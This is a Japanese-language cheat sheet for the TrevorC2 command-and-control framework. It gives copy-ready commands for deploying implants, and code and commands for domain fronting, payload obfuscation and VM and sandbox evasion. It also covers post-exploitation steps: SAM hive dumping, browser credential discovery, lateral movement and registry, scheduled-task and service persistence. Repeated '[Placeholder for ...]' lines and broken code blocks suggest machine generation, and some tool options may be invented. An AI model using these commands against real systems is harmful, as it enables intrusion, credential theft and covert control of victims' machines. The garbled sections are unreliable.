TrevorC2フレームワーク チートシート
## 概要
TrevorC2は、クライアント/サーバー通信を秘密裏のコマンド実行のためにトンネリングする正当なウェブサイトです。TrustedSecによって開発され、正規のウェブサイトをコマンドおよびコントロール通信の前面として使用し、トラフィックが通常のウェブブラウジングに見えるため、検出が非常に困難です。
⚠️ 警告: このツールは、承認された侵入テストおよびレッドチーム演習のみを目的としています。任意の環境で使用する前に、適切な承認を確実に得てください。
インストール
Gitインストール
# Clone the repository
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# Install Python dependencies
pip3 install -r requirements.txt
```[Placeholder for Git installation instructions]
### 手動セットアップ
```bash
# Download latest release
wget https://github.com/trustedsec/trevorc2/archive/master.zip
unzip master.zip
cd trevorc2-master
# Install dependencies
pip3 install pycrypto requests
```[Placeholder for manual setup instructions]
### Dockerインストール
```bash
# Build Docker container
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
docker build -t trevorc2 .
# Run container
docker run -it -p 443:443 trevorc2
```[Placeholder for Docker installation instructions]
## 基本的な使用方法
### サーバーセットアップ
```bash
# Start TrevorC2 server
python3 trevorc2_server.py
# Start server with custom configuration
python3 trevorc2_server.py --config custom_config.py
# Start server on specific port
python3 trevorc2_server.py --port 8080
```[Placeholder for server setup instructions]
### クライアントデプロイメント
```bash
# Generate client
python3 trevorc2_client.py
# Generate client with custom server
python3 trevorc2_client.py --server https://example.com
# Generate PowerShell client
python3 trevorc2_client.py --powershell
```[Placeholder for client deployment instructions]
## コマンドリファレンス
### サーバーコマンド
| コマンド | 説明 |
|---------|-------------|
| `help` | ヘルプメニューを表示 |
| `list` | アクティブなエージェントをリスト |
| `interact <id>` | エージェントと対話する |
| `kill <id>` | 特定のエージェントを殺害する |
| `killall` | すべてのエージェントを殺害する |
| `exit` | サーバーを終了 |[Placeholder for server commands]
### エージェント操作
| コマンド | 説明 |
|---------|-------------|
| `shell <command>` | シェルコマンドを実行 |
| `upload <local> <remote>` | エージェントにファイルをアップロード |
| `download <remote> <local>` | エージェントからファイルをダウンロード |
| `screenshot` | スクリーンショットを撮る |
| `keylogger start` | キーロガーを開始 |
| `keylogger stop` | キーロガーを停止 |
| `keylogger dump` | キーロガーデータをダンプ |
| `persistence` | 永続性をインストール |
| `migrate <pid>` | プロセスに移行する |
| `back` | バックグラウンドエージェント |[Placeholder for agent interaction]
## 設定
### サーバー設定
```python
# config.py
BIND_PORT = 443
HOSTNAME = "0.0.0.0"
WEBSITE_FOLDER = "site/"
CERT_FILE = "server.pem"
# Encryption settings
CIPHER_TYPE = "AES"
HASH_TYPE = "SHA256"
# Communication settings
BEACON_INTERVAL = 10
JITTER = 0.2
# Logging
LOG_FILE = "trevorc2.log"
DEBUG = False
```[Placeholder for server configuration]
### クライアント設定
```python
# Client settings
SERVER_URL = "https://example.com"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
SLEEP_TIME = 10
JITTER = 0.2
# Persistence settings
PERSISTENCE_METHOD = "registry"
PERSISTENCE_KEY = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
```[Placeholder for client configuration]
## 高度な機能
### ウェブサイト偽装
```bash
# Set up legitimate website front
mkdir site
cp -r /var/www/html/* site/
# Use custom website
python3 trevorc2_server.py --site /path/to/website
# Clone existing website
wget -r -p -k https://example.com
python3 trevorc2_server.py --site example.com/
```[Placeholder for website masquerading]
### SSL/TLS設定
```bash
# Generate self-signed certificate
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# Use custom certificate
python3 trevorc2_server.py --cert /path/to/cert.pem --key /path/to/key.pem
# Let's Encrypt certificate
certbot certonly --standalone -d yourdomain.com
python3 trevorc2_server.py --cert /etc/letsencrypt/live/yourdomain.com/fullchain.pem --key /etc/letsencrypt/live/yourdomain.com/privkey.pem
```[Placeholder for SSL/TLS configuration]
### ドメインフロンティング
```python
# Configure domain fronting
FRONT_DOMAIN = "cdn.example.com"
HOST_HEADER = "legitimate-site.com"
# Client configuration for domain fronting
client_config = \\\\{
'server_url': 'https://cdn.example.com',
'host_header': 'legitimate-site.com',
'sni': 'cdn.example.com'
\\\\}
```[Placeholder for domain fronting]
## クライアント生成
### Windowsクライアント
```bash
# Generate Windows executable
python3 trevorc2_client.py --windows --output client.exe
# Generate PowerShell client
python3 trevorc2_client.py --powershell --output client.ps1
# Generate batch file client
python3 trevorc2_client.py --batch --output client.bat
```[Placeholder for Windows client generation]
### Linuxクライアント
```bash
# Generate Linux binary
python3 trevorc2_client.py --linux --output client
# Generate Python client
python3 trevorc2_client.py --python --output client.py
# Generate shell script client
python3 trevorc2_client.py --shell --output client.sh
```[Placeholder for Linux client generation]
### macOSクライアント
```bash
# Generate macOS binary
python3 trevorc2_client.py --macos --output client
# Generate AppleScript client
python3 trevorc2_client.py --applescript --output client.scpt
```[Placeholder for macOS client generation]
## 回避技術
### トラフィック難読化
```python
# Custom User-Agent strings
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
]
# Random beacon intervals
import random
SLEEP_TIME = random.randint(5, 15)
```[Placeholder for traffic obfuscation]
### ペイロードエンコーディング
```bash
# Base64 encode payload
echo "payload"|base64
# XOR encode payload
python3 -c "
import sys
key = 0xAA
payload = sys.argv[1]
encoded = ''.join([chr(ord(c) ^ key) for c in payload])
print(encoded.encode('hex'))
" "your_payload"
```[Placeholder for payload encoding]
### 解析対策
```python
# VM detection
import subprocess
def check_vm():
vm_indicators = ['VMware', 'VirtualBox', 'QEMU']
try:
output = subprocess.check_output('systeminfo', shell=True)
for indicator in vm_indicators:
if indicator in output.decode():
return True
except:
pass
return False
# Sandbox evasion
import time
def sandbox_evasion():
time.sleep(60) # Sleep to avoid sandbox analysis
# Check for mouse movement, user activity, etc.
```[Placeholder for anti-analysis]
## 事後攻撃
### 情報収集
[Placeholder for post-exploitation information gathering]```bash
# System information
shell systeminfo
shell whoami /all
shell net user
shell net group
# Network information
shell ipconfig /all
shell netstat -an
shell arp -a
shell route print
認証情報の収集
# Dump SAM database
shell reg save HKLM\SAM sam.hiv
shell reg save HKLM\SYSTEM system.hiv
download sam.hiv
download system.hiv
# Browser credentials
shell dir "%APPDATA%\Mozilla\Firefox\Profiles"
shell dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default"
# Saved passwords
shell cmdkey /list
水平方向の移動
# Network discovery
shell net view
shell ping -n 1 192.168.1.1-254
# Share enumeration
shell net view \\target-computer
shell dir \\target-computer\c$
# Service enumeration
shell sc query
shell tasklist /svc
永続化メカニズム
# Registry persistence
shell reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\temp\client.exe"
# Scheduled task
shell schtasks /create /tn "Update" /tr "C:\temp\client.exe" /sc onlogon
# Service persistence
shell sc create "UpdateService" binpath= "C:\temp\client.exe"
shell sc config "UpdateService" start= auto
運用セキュリティ
通信セキュリティ
# Encrypted communications
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
def encrypt_data(data, key):
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
return cipher.nonce + tag + ciphertext
# Certificate pinning
import ssl
def verify_certificate(hostname, cert_path):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_REQUIRED
context.load_verify_locations(cert_path)
運用手順
# Rotate infrastructure regularly
# Use different domains and IPs
# Implement proper logging and monitoring
# Use legitimate certificates
# Vary communication patterns
トラブルシューティング
接続の問題
# Check server status
netstat -tlnp|grep :443
# Test connectivity
curl -k https://your-server.com
# Check firewall rules
iptables -L
ufw status
クライアントの問題
# Debug client connection
# Add debug prints to client code
print("Connecting to server...")
print(f"Response: \\\\{response.status_code\\\\}")
# Check DNS resolution
nslookup your-server.com
dig your-server.com
証明書の問題
# Verify certificate
openssl x509 -in server.pem -text -noout
# Test SSL connection
openssl s_client -connect your-server.com:443
# Check certificate chain
curl -vI https://your-server.com
検出回避
ネットワークレベル
- 正規のドメインと証明書を使用
- ドメインフロンティングを実装
- 通信間隔を変更
- 一般的なポート(80、443)を使用
- 正規のトラフィックパターンを模倣
ホストレベル
- 一般的なIOCを回避
- 正規のプロセス名を使用
- 対VM技術を実装
- ファイルレス実行
- ペイロードと通信を暗号化
行動的
- リソース使用を制限
- 不審な活動を避ける
- 正規のユーザーエージェントを使用
- 適切なエラーハンドリングを実装
- アーティファクトをクリーンアップ
リソース
このチートシートは、TrevorC2の使用に関する包括的なリファレンスを提供します。常に、このツールを任意の環境で使用する前に適切な承認があることを確認してください。